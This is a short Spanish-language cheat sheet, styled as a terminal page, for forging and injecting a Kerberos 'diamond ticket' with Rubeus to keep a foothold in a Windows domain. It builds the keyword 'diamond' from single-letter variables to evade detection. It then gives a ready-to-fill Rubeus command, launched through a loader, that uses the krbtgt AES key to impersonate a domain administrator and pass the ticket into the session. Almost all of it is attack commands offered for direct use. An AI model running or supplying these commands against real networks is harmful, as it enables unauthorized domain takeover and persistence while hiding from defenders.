[w0lff4ng@site]: ~/cheat-sheets$ ./info
File: /home/w0lff4ng/cheat-sheets/diamond-ticket
Access: (0644/-rw-r--r--) Uid: (1000/w0lff4ng) Gid: (100/users)
Modify: 2026-10-22
[w0lff4ng@site]: ~/cheat-sheets$ cd diamond-ticket/█

Diamond ticket

techniquepersistenciawindows← índice
Advertencia
  • Requiere privilegios de Domain Admin por los datos usados en la modificación del ticket.
  • Se debe usar una shell con privilegios de administrador local.
Bug

Si se presenta un error al generar el diamond ticket, cerrar sesión y volver a ingresar.

Rubeus

Codificar e insertar diamond:

set "z=d"
set "y=n"
set "x=o"
set "w=m"
set "v=a"
set "u=i"
set "t=d"
set "Pwn=%t%%u%%v%%w%%x%%y%%z%"

Crear e inyectar un diamond ticket:

Loader.exe -path Rubeus.exe -args %Pwn% /krbkey:<AES-256_KEY_KRBTGT_ACCOUNT> /tgtdeleg /enctype:aes /ticketuser:<DA_USERNAME> /domain:<DOMAIN> /dc:<DC_MACHINE_NAME>.<DOMAIN> /ticketuserid:500 /groups:512 /createnetonly:C:\Windows\System32\cmd.exe /show /ptt